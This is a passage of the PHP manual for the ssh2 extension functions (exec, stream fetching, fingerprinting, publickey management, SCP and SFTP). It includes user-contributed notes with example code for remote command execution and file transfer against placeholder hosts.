               echo stream_get_contents($stream);
?>
Betsy Gamrat 16-Apr-2007 04:52
It is also good to use register_shutdown_function to shred the keys after this runs.
Jon-Eirik Pettersen 11-Mar-2007 01:33
The command  may not finish before the function return if the stream is not set to blocking mode. You may have to set the stream to blocking mode in order to get any output from the command.

<?php
  // [Open connection]
  // ...

  $stream = ssh2_exec($connection, 'ps ax');
  stream_set_blocking($stream, true);

  // The command may not finish properly if the stream is not read to end
  $output = stream_get_contents($stream);

  // ...
  // [Close stream and connection]
?>
Betsy Gamrat 18-Feb-2007 09:00
If the ssh2_exec takes awhile to run, and you need a handshake, you can use a file.  In this case, $flag names a handshake file that is written when the ssh script finishes.

<?php
                $stream = ssh2_exec($connection, $command . " $public_key $private_key;");
                $i=0;
                while (!file_exists ($flag) && ($i < MAX_TIME))
                {
                        sleep(1);
                        $i++;
                }
                $ret_val=($stream!=FALSE);
?>

This is an extract out of the bash script that is running.  Be sure to allow the webserver permission to read the file that the script writes.

echo 0 > $OUTFILE
chmod 666 $OUTFILE

One other note:  you can put more than one command in by separating them with ';' (semicolons).
tabber dot watts at gmail dot com 03-Dec-2005 12:21
This is the best way I found to automatically run multiple commands or commands that might take longer then expected.  NOTE: this assumes that no where in the output is there the text '[end]' otherwise the function will end prematurely.  Hope this helps people.

<?php
$ip = 'ip_address';
$user = 'username';
$pass = 'password';

$connection = ssh2_connect($ip);
ssh2_auth_password($connection,$user,$pass);
$shell = ssh2_shell($connection,"bash");

//Trick is in the start and end echos which can be executed in both *nix and windows systems.
//Do add 'cmd /C' to the start of $cmd if on a windows system.
$cmd = "echo '[start]';your commands here;echo '[end]'";
$output = user_exec($shell,$cmd);

fclose($shell);

function user_exec($shell,$cmd) {
  fwrite($shell,$cmd . "\n");
  $output = "";
  $start = false;
  $start_time = time();
  $max_time = 2; //time in seconds
  while(((time()-$start_time) < $max_time)) {
    $line = fgets($shell);
    if(!strstr($line,$cmd)) {
      if(preg_match('/\[start\]/',$line)) {
        $start = true;
      }elseif(preg_match('/\[end\]/',$line)) {
        return $output;
      }elseif($start){
        $output[] = $line;
      }
    }
  }
}

?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by (jschwepp AT gmail DOT com) on 17-FEB-2010 to fix a typo in a function name.]
gakksimian at yahoo dot com 07-Sep-2005 07:15
Executing remote Windows commands...
After some hair pulling, I thought I'd suggest a couple things that might help others:

1. Use 'ssh2_fetch_stream' to open a stderr stream according to the manual.
2. Windows shell commands require 'cmd /C [command]' to execute.  (I had forgotten this)

<?php
    // code fragment
    $stdout_stream = ssh2_exec($connection, 'cmd /C dir');
    $stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);
?>

I didn't realize the need for the 'cmd /C' until I saw the stderr response 'dir: not found'.
yairl at savion dot huji dot ac dot il 09-Jun-2005 02:03
If you want to run many exec orders throught ssh2 in the same process using the same variable $stream for exemple and to read the output for each order, you must close the stream after each order else you will not be able to read the next order output.

<?php
 $stream=ssh2_exec($conn_id,"/usr/bin/ls .");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("public_html",$cmd)){
 // ...........................................
}

 $stream=ssh2_exec($conn_id,"/usr/bin/ls public_html");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("images",$cmd)){
 // ..........................................
}

$stream=ssh2_exec($conn_id,"/usr/bin/ls public_html/images");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("blabla",$cmd)){
 // ..........................................
}
?>


Fetch an extended data stream

  • « ssh2_exec
  • ssh2_fingerprint »
  • PHP Manual
  • SSH2 Functions
  • Fetch an extended data stream

ssh2_fetch_stream

(PECL ssh2 >= 0.9.0)

ssh2_fetch_stream — Fetch an extended data stream

Description

resource ssh2_fetch_stream ( resource $channel , int $streamid )

Fetches an alternate substream associated with an SSH2 channel stream. The SSH2 protocol currently defines only one substream, STDERR, which has a substream ID of SSH2_STREAM_STDERR (defined as 1).

Parameters

channel

streamid

An SSH2 channel stream.

Return Values

Returns the requested stream resource.

Examples

Example #1 Opening a shell and retrieving the stderr stream associated with it

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stdio_stream = ssh2_shell($connection);
$stderr_stream = ssh2_fetch_stream($stdio_stream, SSH2_STREAM_STDERR);
?>

See Also

  • ssh2_shell() - Request an interactive shell
  • ssh2_exec() - Execute a command on a remote server
  • ssh2_connect() - Connect to an SSH server

User Contributed Notes

hexer 10-Sep-2008 03:51
I successfully used fgets in PHP4

examples

<?php
$stderr = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDERR), 8192);

$str = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDIO), 8192);
?>
Dennis K. 24-Jan-2007 01:28
In addition to the last post from Ricardo Striquer:

Simple block the stream with stream_set_blocking(), and you dont have to sleep() the script...

<?php
stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");

$err_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

$dio_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDDIO);

stream_set_blocking($err_stream, true);
stream_set_blocking($dio_stream, true);

$result_err = stream_get_contents($err_stream));
$result_dio = stream_get_contents($dio_stream));
?>
Ricardo Striquer (ricardophp yohoocombr) 18-Dec-2006 04:41
I got a friend using those functions and he was not able to use this ssh2_fetch_stream function. First of all I got the ssh2_shell sample by webmaster at spectreanime dot com, but this function does not work with his sample, i believe thats because he use fwrite instead of ssh2_shell or ssh2_exec to run the command.

This sample below is to run under a command line and is fully functional. note that i add the sleep as advised by webmaster at spectreanime dot com

<?php
echo "Connexion SSH ";
if (!($connection=@ssh2_connect("69.69.69.69", 22))) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\nAuthentification ";

if (!@ssh2_auth_password($connection,"root","YourPassword")) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\n";

$stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");
sleep(1);
$stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

echo "Erros encontrados!\n------------\n";
while($line = fgets($stderr_stream)) { flush(); echo $line."\n"; }
echo "------------\n";

while($line = fgets($stdout_stream)) { flush(); echo $line."\n";}

fclose($stdout_stream);
?>


Retrieve fingerprint of remote server

  • « ssh2_fetch_stream
  • ssh2_methods_negotiated »
  • PHP Manual
  • SSH2 Functions
  • Retrieve fingerprint of remote server

ssh2_fingerprint

(PECL ssh2 >= 0.9.0)

ssh2_fingerprint — Retrieve fingerprint of remote server

Description

string ssh2_fingerprint ( resource $session [, int $flags = SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX ] )

Returns a server hostkey hash from an active session.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

flags

flags may be either of SSH2_FINGERPRINT_MD5 or SSH2_FINGERPRINT_SHA1 logically ORed with SSH2_FINGERPRINT_HEX or SSH2_FINGERPRINT_RAW.

Return Values

Returns the hostkey hash as a string.

Examples

Example #1 Checking the fingerprint against a known value

<?php
$known_host = '6F89C2F0A719B30CC38ABDF90755F2E4';

$connection = ssh2_connect('shell.example.com', 22);

$fingerprint = ssh2_fingerprint($connection,
               SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);

if ($fingerprint != $known_host) {
  die("HOSTKEY MISMATCH!\n" .
      "Possible Man-In-The-Middle Attack?");
}
?>

User Contributed Notes

Lyle Mantooth 08-Dec-2013 12:42
If you're going to compare the fingerprint to a user-submitted form field, it's probably a good idea to do case-insensitive comparison:
<?php

if ($conn = ssh2_connect($user, $password)) {
    $fingerprint = ssh2_fingerprint($conn);
    if (strcasecmp($fingerprint, $known_value) === 0) {
        // Do your thing.
    }
}
?>
Of course, this is only necessary when you use the SSH2_FINGERPRINT_HEX option, not SSH2_FINGERPRINT_RAW.


Return list of negotiated methods

  • « ssh2_fingerprint
  • ssh2_publickey_add »
  • PHP Manual
  • SSH2 Functions
  • Return list of negotiated methods

ssh2_methods_negotiated

(PECL ssh2 >= 0.9.0)

ssh2_methods_negotiated — Return list of negotiated methods

Description

array ssh2_methods_negotiated ( resource $session )

Returns list of negotiated methods.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

Return Values

Examples

Example #1 Determining what methods were negotiated

<?php
$connection = ssh2_connect('shell.example.com', 22);
$methods = ssh2_methods_negotiated($connection);

echo "Encryption keys were negotiated using: {$methods['kex']}\n";
echo "Server identified using an {$methods['hostkey']} with ";
echo "fingerprint: " . ssh2_fingerprint($connection) . "\n";

echo "Client to Server packets will use methods:\n";
echo "\tCrypt: {$methods['client_to_server']['crypt']}\n";
echo "\tComp: {$methods['client_to_server']['comp']}\n";
echo "\tMAC: {$methods['client_to_server']['mac']}\n";

echo "Server to Client packets will use methods:\n";
echo "\tCrypt: {$methods['server_to_client']['crypt']}\n";
echo "\tComp: {$methods['server_to_client']['comp']}\n";
echo "\tMAC: {$methods['server_to_client']['mac']}\n";

?>

See Also

  • ssh2_connect() - Connect to an SSH server

User Contributed Notes

There are no user contributed notes for this page.


Add an authorized publickey

  • « ssh2_methods_negotiated
  • ssh2_publickey_init »
  • PHP Manual
  • SSH2 Functions
  • Add an authorized publickey

ssh2_publickey_add

(PECL ssh2 >= 0.10)

ssh2_publickey_add — Add an authorized publickey

Description

bool ssh2_publickey_add ( resource $pkey , string $algoname , string $blob [, bool $overwrite = false [, array $attributes ]] )

Note: The public key subsystem is used for managing public keys on a server to which the client is already authenticated. To authenticate to a remote system using public key authentication, use the ssh2_auth_pubkey_file() function instead.

Parameters

pkey

Publickey Subsystem resource created by ssh2_publickey_init().

algoname

Publickey algorithm (e.g.): ssh-dss, ssh-rsa

blob

Publickey blob as raw binary data

overwrite

If the specified key already exists, should it be overwritten?

attributes

Associative array of attributes to assign to this public key. Refer to ietf-secsh-publickey-subsystem for a list of supported attributes. To mark an attribute as mandatory, precede its name with an asterisk. If the server is unable to support an attribute marked mandatory, it will abort the add process.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Adding a publickey with ssh2_publickey_add()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'password');
$pkey = ssh2_publickey_init($ssh2);

$keyblob = base64_decode('
AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5PTrLRdjNONxXH1tVFGn0
Bd26BF0aCP9qyJRlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xj
zaLpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VEHYckxQ16CjSTibI5X
69GmnYC9PNqEYq/1TP+HF10=');

ssh2_publickey_add($pkey, 'ssh-rsa', $keyblob, false, array('comment'=>"John's Key"));
?>

See Also

  • ssh2_publickey_init() - Initialize Publickey subsystem
  • ssh2_publickey_remove() - Remove an authorized publickey
  • ssh2_publickey_list() - List currently authorized publickeys

User Contributed Notes

There are no user contributed notes for this page.


Initialize Publickey subsystem

  • « ssh2_publickey_add
  • ssh2_publickey_list »
  • PHP Manual
  • SSH2 Functions
  • Initialize Publickey subsystem

ssh2_publickey_init

(PECL ssh2 >= 0.10)

ssh2_publickey_init — Initialize Publickey subsystem

Description

resource ssh2_publickey_init ( resource $session )

Request the Publickey subsystem from an already connected SSH2 server.

The publickey subsystem allows an already connected and authenticated client to manage the list of authorized public keys stored on the target server in an implementation agnostic manner. If the remote server does not support the publickey subsystem, the ssh2_publickey_init() function will return FALSE.

Parameters

session

Return Values

Returns an SSH2 Publickey Subsystem resource for use with all other ssh2_publickey_*() methods or FALSE on failure.

Notes

Note: The public key subsystem is used for managing public keys on a server to which the client is already authenticated. To authenticate to a remote system using public key authentication, use the ssh2_auth_pubkey_file() function instead.

See Also

  • ssh2_publickey_add() - Add an authorized publickey
  • ssh2_publickey_remove() - Remove an authorized publickey
  • ssh2_publickey_list() - List currently authorized publickeys

User Contributed Notes

There are no user contributed notes for this page.


List currently authorized publickeys

  • « ssh2_publickey_init
  • ssh2_publickey_remove »
  • PHP Manual
  • SSH2 Functions
  • List currently authorized publickeys

ssh2_publickey_list

(PECL ssh2 >= 0.10)

ssh2_publickey_list — List currently authorized publickeys

Description

array ssh2_publickey_list ( resource $pkey )

List currently authorized publickeys.

Parameters

pkey

Publickey Subsystem resource

Return Values

Returns a numerically indexed array of keys, each of which is an associative array containing: name, blob, and attrs elements.

Publickey elements
Array Key | Meaning
name | Name of algorithm used by this publickey, for example: ssh-dss or ssh-rsa.
blob | Publickey blob as raw binary data.
attrs | Attributes assigned to this publickey. The most common attribute, and the only one supported by publickey version 1 servers, is comment, which may be any freeform string.

Examples

Example #1 Listing authorized keys with ssh2_publickey_list()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'secret');
$pkey = ssh2_publickey_init($ssh2);

$list = ssh2_publickey_list($pkey);

foreach($list as $key) {
  echo "Key: {$key['name']}\n";
  echo "Blob: " . chunk_split(base64_encode($key['blob']), 40, "\n") . "\n";
  echo "Comment: {$key['attrs']['comment']}\n\n";
}
?>

The above example will output:

Key: ssh-rsa
Blob: AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5P
TrLRdjNONxXH1tVFGn0Bd26BF0aCP9qyJRlvdJ3j
4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xjza
Lpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VE
HYckxQ16CjSTibI5X69GmnYC9PNqEYq/1TP+HF10
Comment: John's Key

Key: ssh-rsa
Blob: AAAAB3NzaHVt6VqSGd5C1yc2EAAAABIwA232dnJA
AIEA5HVt6VqSGd5PTrLRdjNONxX/1TP+HF1HVt6V
qSGd50H1tVFGn0BB3NzaC1yc2EAd26BF0aCP9qyJ
RlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26HVt6Vq
SGd5sDHwfL351xjzaLpipu\BGB3NzaC1yc2EA/1T
Comment: Alice's Key

Notes

Note: The public key subsystem is used for managing public keys on a server to which the client is already authenticated. To authenticate to a remote system using public key authentication, use the ssh2_auth_pubkey_file() function instead.

See Also

  • ssh2_publickey_init() - Initialize Publickey subsystem
  • ssh2_publickey_add() - Add an authorized publickey
  • ssh2_publickey_remove() - Remove an authorized publickey

User Contributed Notes

There are no user contributed notes for this page.


Remove an authorized publickey

  • « ssh2_publickey_list
  • ssh2_scp_recv »
  • PHP Manual
  • SSH2 Functions
  • Remove an authorized publickey

ssh2_publickey_remove

(PECL ssh2 >= 0.10)

ssh2_publickey_remove — Remove an authorized publickey

Description

bool ssh2_publickey_remove ( resource $pkey , string $algoname , string $blob )

Removes an authorized publickey.

Parameters

pkey

Publickey Subsystem Resource

algoname

Publickey algorithm (e.g.): ssh-dss, ssh-rsa

blob

Publickey blob as raw binary data

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: The public key subsystem is used for managing public keys on a server to which the client is already authenticated. To authenticate to a remote system using public key authentication, use the ssh2_auth_pubkey_file() function instead.

See Also

  • ssh2_publickey_init() - Initialize Publickey subsystem
  • ssh2_publickey_add() - Add an authorized publickey
  • ssh2_publickey_list() - List currently authorized publickeys

User Contributed Notes

There are no user contributed notes for this page.


Request a file via SCP

  • « ssh2_publickey_remove
  • ssh2_scp_send »
  • PHP Manual
  • SSH2 Functions
  • Request a file via SCP

ssh2_scp_recv

(PECL ssh2 >= 0.9.0)

ssh2_scp_recv — Request a file via SCP

Description

bool ssh2_scp_recv ( resource $session , string $remote_file , string $local_file )

Copy a file from the remote server to the local filesystem using the SCP protocol.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

remote_file

Path to the remote file.

local_file

Path to the local file.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Downloading a file via SCP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_recv($connection, '/remote/filename', '/local/filename');
?>

See Also

  • ssh2_scp_send() - Send a file via SCP
  • copy() - Copies file

User Contributed Notes

Maddie 31-Jul-2013 02:40
If you are getting the error - ssh2_scp_recv(): Unable to receive remote file

Try using file_get_contents("ssh2.sftp://$sftp$fileLocation") and file_put_contents() as a workaround-- this is after I tried all sorts of different remote file path formats to no avail.
Anonymous 25-Jun-2013 06:14
May fail when trying to get a remote file from the user's home directory when you try to use a path like '~/filename.txt' .  It appears to dislike tildes, so use the full file path.
mark at mohc dot net 03-Oct-2012 09:47
Transferred files can be truncated if you do not call ssh2_exec($connection,'exit').  ssh2_scp_send will return true even if the file did not completely transfer.

eg.

ssh2_scp_send($connection, $infile, $remotefile, 0644);
ssh2_exec($connection, 'exit'); // exit the ssh2 connection
ojovirtual 25-May-2011 10:37
Trying to get a remote file with spaces in its name?

Never forget to use quotes in the remote filename, but never in the local one.

Example:

<?php
$remote_file_name="my name with spaces.ext"

ssh2_scp_recv($cn,$remote_file_name,$local_path."/".$remote_file_name); // ERROR

ssh2_scp_recv($cn,"\"".$remote_file_name."\"",$local_path."/".$remote_file_name); //OK

ssh2_scp_recv($cn,"\"".$remote_file_name."\"","\"".$local_path."/".$remote_file_name."\""); //ERROR
?>

So, the quotes in the file name are needed only for remote, not for local.
luis dot sv at gmail dot com 20-May-2010 12:16
This function can be used to copy all files into a directory on a remote server, using SSH and SCP.

<?php
$connection = ssh2_connect('host', 22);
ssh2_auth_password($connection, 'user', 'password');

$remote_dir="/remote_dir/";
$local_dir="/local_dir/";

$com ="ls $remote_dir";
$stream = ssh2_exec($connection, $com);
stream_set_blocking($stream,true);
$cmd=fread($stream,4096);

$arr=explode("\n",$cmd);

$total_files=sizeof($arr);

for($i=0;$i<$total_files;$i++){
    $file_name=trim($arr[$i]);
    if($file_name!=''){
        $remote_file=$remote_dir.$file_name;
        $local_file=$local_dir.$file_name;

        if(ssh2_scp_recv($connection, $remote_file,$local_file)){
            echo "File ".$file_name." was copied to $local_dir<br />";
        }
    }
}

fclose($stream);
?>
gordon_e_rouse at yahoo dot com dot au 28-May-2008 12:19
Being still in Beta, I guess it will have it quirks. One I found was that if the remote filename has brackets in it, it just wont work.

I should file it as a bug report, but find the process all intimidating really - I am always just a stupid user who does not know what he is on about!

But anyway - the work around of renaming the file before downloading it works fine.

use:
$_new_path = str_replace("(", "", $_path );
$_new_path = str_replace(")", "", $_new_path );

ssh2_sftp_rename( $sftp,  $_path, $_new_path );

To tell you the truth I haven't determined if it is the open or close bracket, or both. Someone else can investigate that.

Meanwhile, it would be good to know all the bad filename characters which this function has problems with, no doubt there are more.
miller4980 at msn dot com 23-Apr-2008 08:10
Problem:
  can't pass an array to sftp_scp_rec()
  also: for Windows: sftp was not happy when connecting to   a  Windows dir.
  eg: sftp_scp_rec($connection, "remote/directory","local/$directory[$i]");
Solution:
The array was placing whitespace on the end of the variable.
trim(" ","",$directory[$i]);

connecting to Windows dir:
sftp_scp_rec($connection, "linux/directory","\\windows\share[$i]");

This script backs up remote Linux directories to a local Windows directory based on modified dates of files.

The Idea is to get a complete back up of a directory via ftp client etc.
Then when the script runs it will back up newly modified files only.

<?php
//error_reporting(0);

$file        ='';
$arr2        ='';
$arr1        ='';
$ldir         = '';

$remotedirs[0]     = "Domain name or IP address/";
$remotedirs[1]     = "Domain name or IP address/";
$remotedirs[2]     = "Domain name or IP address/";
$remotedirs[3]     = "Domain name or IP address/";

    $fh = fopen("c:\dirlist.txt","w");
    fwrite($fh, " ");
    fclose($fh);
foreach ($remotedirs as $val){
echo $remotedir = "/data/www/$val/";
$localdir     = "\\\\192.168.0.234\\C$\\xampp\\htdocs\\$val\\";
backupwebsites($remotedir,$localdir);
}
function backupwebsites($remotedir,$localdir){
    $connection = ssh2_connect(Host IP or Domain, 22);
    $com ="ls -R -lt $remotedir";
    ssh2_auth_password($connection, 'user', 'password');
    $stream = ssh2_exec($connection, $com );
    stream_set_blocking($stream, true);
    $output = stream_get_contents($stream);

    $fh = fopen("c:\dirlist.txt","a+");
    fwrite($fh, $output);
    fclose($fh);
    $handle = @fopen('c:\dirlist.txt', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
    foreach ($lines as $val)
    {
        $yr = date('Y-m-d');
        $i++;
        $arr1=split("200",$val);
        $arr2=explode(" ",$arr1[1]);
        if("200".$arr2[0]==$yr)
        {
            //if("200".$arr2[0]=='2008-04-21'){    //for testing
            $remotedir = $remotedir.$arr2[2];
            $cpy=$arr2[2];
            $file = $localdir;
            glue($connection,$remotedir,$localdir,$cpy);
        }
    }
}
//echo $i;
function glue($connection,$remotedir,$localdir,$cpy){
    $ldir[0] = "$localdir";
    $ldir[1]="$cpy";
    $file = $ldir[0].$ldir[1];
    $file = trim($file);
     $file;
 gop($connection,$remotedir,$file);
}
function gop($connection,$remotedir,$file){
echo $file;

ssh2_scp_recv(
$connection,
$remotedir,
$file);
}

?>
chad dot [the letter d] johnson AT gmail 26-Mar-2008 09:23
If when trying to use this function you get "Warning: ssh2_scp_send(): Failure creating remote file," then try using

$data = file_get_contents("ssh2.sftp://$sftp/path/to/file");
jcalcote at novell dot com 08-Aug-2006 10:51
If you scan a remote directory for a list of files by using opendir and readdir on a path obtained from ssh2_sftp(), you'll end up with a list of full file paths containing the ssh2.sftp://$sftp prefix, where $sftp is the sftp resource string returned by ssh2_sftp.

If you later attempt to use ssh2_scp_recv() (even on the same connection!) to copy files locally from the remote path, the copy operation will fail because ssh2_scp_recv() doesn't like the wrapper path prefix. It expects remote file references to be rooted at the base of the remote file system (eg., '/').

Moral: ssh2_scp_recv() likes paths rooted at the file system root on the remote machine, not full network paths. This routine will fail with an obscure message about not being able to copy the files - yet when you go look it works fine. Worse, when you connect and copy them from an scp shell session, it also works fine.


Send a file via SCP

  • « ssh2_scp_recv
  • ssh2_sftp_chmod »
  • PHP Manual
  • SSH2 Functions
  • Send a file via SCP

ssh2_scp_send

(PECL ssh2 >= 0.9.0)

ssh2_scp_send — Send a file via SCP

Description

bool ssh2_scp_send ( resource $session , string $local_file , string $remote_file [, int $create_mode = 0644 ] )

Copy a file from the local filesystem to the remote server using the SCP protocol.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

local_file

Path to the local file.

remote_file

Path to the remote file.

create_mode

The file will be created with the mode specified by create_mode.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Uploading a file via SCP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_send($connection, '/local/filename', '/remote/filename', 0644);
?>

See Also

  • ssh2_scp_recv() - Request a file via SCP
  • copy() - Copies file

User Contributed Notes

dypa at bk dot ru 15-Nov-2010 01:57
solution of uploading dir with space (don't forget " symbols)

<?php
ssh2_scp_send($connection, '/local/file with space.txt', '"/remote/file with space.txt"', 0777);
?>
philip at independentliving dot se 10-May-2010 09:08
If the server you are sending to is ubuntu 8 or 9 and you can't send files then check that your user has write permissions for /dev/null. Gets me every time. Add the line:
chmod 666 /dev/null
to /etc/rc.local before the exit 0 line.
emmanuel dot kartmann at prosdk dot com 02-Apr-2010 03:23
On Windows, I had trouble using ssh2_scp_send: files copied to a remote server where incomplete (truncated) and/or locked (error message : "access denied"). The back-end is also on Windows, using CopSSH (cygwin-based SSH server).

The SSH session was kept open - and the file were never flushed to disk.

There's a workaround though - make an explicit call to "exit" to close the session (flushing file content to disk):

<?php
  $objConnection = ssh2_connect($strHost, $strPort, $methods, $callbacks);
  ssh2_auth_password($objConnection, $strUser, $strPassword);
  ssh2_scp_send($objConnection , $strSource, $strDest);

  // Add this to flush buffers/close session
  ssh2_exec($objConnection, 'exit');
?>
stefanov at uk dot ibm dot com 02-May-2008 11:07
In addition to my previous post, I figured out that sftp->fopen->file_get_contents->fwrite has much better performance than ssh2_scp_send.

I've used the following code to test:

<?php
$srcFile = '/var/tmp/dir1/file_to_send.txt';
$dstFile = '/var/tmp/dir2/file_received.txt';

// Create connection the the remote host
$conn = ssh2_connect('my.server.com', 22);

// Create SFTP session
$sftp = ssh2_sftp($conn);

$sftpStream = @fopen('ssh2.sftp://'.$sftp.$dstFile, 'w');

try {

    if (!$sftpStream) {
        throw new Exception("Could not open remote file: $dstFile");
    }

    $data_to_send = @file_get_contents($srcFile);

    if ($data_to_send === false) {
        throw new Exception("Could not open local file: $srcFile.");
    }

    if (@fwrite($sftpStream, $data_to_send) === false) {
        throw new Exception("Could not send data from file: $srcFile.");
    }

    fclose($sftpStream);

} catch (Exception $e) {
    error_log('Exception: ' . $e->getMessage());
    fclose($sftpStream);
}
?>

For the test I've sent three files with total size of 6kB, and the times to send including connect to the server were:

SFTP -> 15 sec.
ssh2_scp_send -> 22 sec.

Cheers,

Pimmy
stefanov at uk dot ibm dot com 25-Apr-2008 11:23
After some testing I figured out that ssh2_scp_send does not work exactly as the standard scp command:

- Works: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/file_02.txt');
- Wrong: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp'); (Creates file with name 'tmp')
- Fails: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/');
- Fails: ssh2_scp_send($conn, '/dirname', /var/tmp/'); (No recursion)
- Fails: ssh2_scp_send($conn, '/dirname/*', /var/tmp/'); (Cannot copy more than one file.)

Cheers,

Pimmy


Changes file mode

  • « ssh2_scp_send
  • ssh2_sftp_lstat »
  • PHP Manual
  • SSH2 Functions
  • Changes file mode

ssh2_sftp_chmod

(PECL ssh2 >= 0.12)

ssh2_sftp_chmod — Changes file mode

Description

bool ssh2_sftp_chmod ( resource $sftp , string $filename , int $mode )

Attempts to change the mode of the specified file to that given in mode.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

filename

Path to the file.

mode

Permissions on the file. See the chmod() for more details on this parameter.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating a directory on a remote server

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_chmod($sftp, '/somedir/somefile', 0755);
?>

See Also

  • chmod() - Changes file mode
  • ssh2_sftp() - Initialize SFTP subsystem
  • ssh2_connect() - Connect to an SSH server

User Contributed Notes

There are no user contributed notes for this page.


Stat a symbolic link

  • « ssh2_sftp_chmod
  • ssh2_sftp_mkdir »
  • PHP Manual
  • SSH2 Functions
  • Stat a symbolic link

ssh2_sftp_lstat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_lstat — Stat a symbolic link

Description

array ssh2_sftp_lstat ( resource $sftp , string $path )

Stats a symbolic link on the remote filesystem without following the link.

This function is similar to using the lstat() function with the ssh2.sftp:// wrapper in PHP 5 and returns the same values.

Parameters

sftp

path

Path to the remote symbolic link.

Return Values

See the documentation for stat() for details on the values which may be returned.

Examples

Example #1 Stating a symbolic link via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_lstat($sftp, '/path/to/symlink');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

See Also

  • ssh2_sftp_stat() - Stat a file on a remote filesystem
  • lstat() - Gives information about a file or symbolic link
  • stat() - Gives information about a file

User Contributed Notes

There are no user contributed notes for this page.


Create a directory

  • « ssh2_sftp_lstat
  • ssh2_sftp_readlink »
  • PHP Manual
  • SSH2 Functions
  • Create a directory

ssh2_sftp_mkdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_mkdir — Create a directory

Description

bool ssh2_sftp_mkdir ( resource $sftp , string $dirname [, int $mode = 0777 [, bool $recursive = false ]] )

Creates a directory on the remote file server with permissions set to mode.

This function is similar to using mkdir() with the ssh2.sftp:// wrapper.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

dirname

Path of the new directory.

mode

Permissions on the new directory.

recursive

If recursive is TRUE any parent directories required for dirname will be automatically created as well.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating a directory on a remote server

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_mkdir($sftp, '/home/username/newdir');
/* Or:  mkdir("ssh2.sftp://$sftp/home/username/newdir"); */
?>

See Also

  • mkdir() - Makes directory
  • ssh2_sftp_rmdir() - Remove a directory

User Contributed Notes

There are no user contributed notes for this page.


Return the target of a symbolic link

  • « ssh2_sftp_mkdir
  • ssh2_sftp_realpath »
  • PHP Manual
  • SSH2 Functions
  • Return the target of a symbolic link

ssh2_sftp_readlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_readlink — Return the target of a symbolic link

Description

string ssh2_sftp_readlink ( resource $sftp , string $link )

Returns the target of a symbolic link.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

link

Path of the symbolic link.

Return Values

Returns the target of the symbolic link.

Examples

Example #1 Reading a symbolic link

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$target = ssh2_sftp_readlink($sftp, '/tmp/mysql.sock');
/* $target is now (e.g.): '/var/run/mysql.sock' */
?>

See Also

  • readlink() - Returns the target of a symbolic link
  • ssh2_sftp_symlink() - Create a symlink

User Contributed Notes

There are no user contributed notes for this page.


Resolve the realpath of a provided path string

  • « ssh2_sftp_readlink
  • ssh2_sftp_rename »
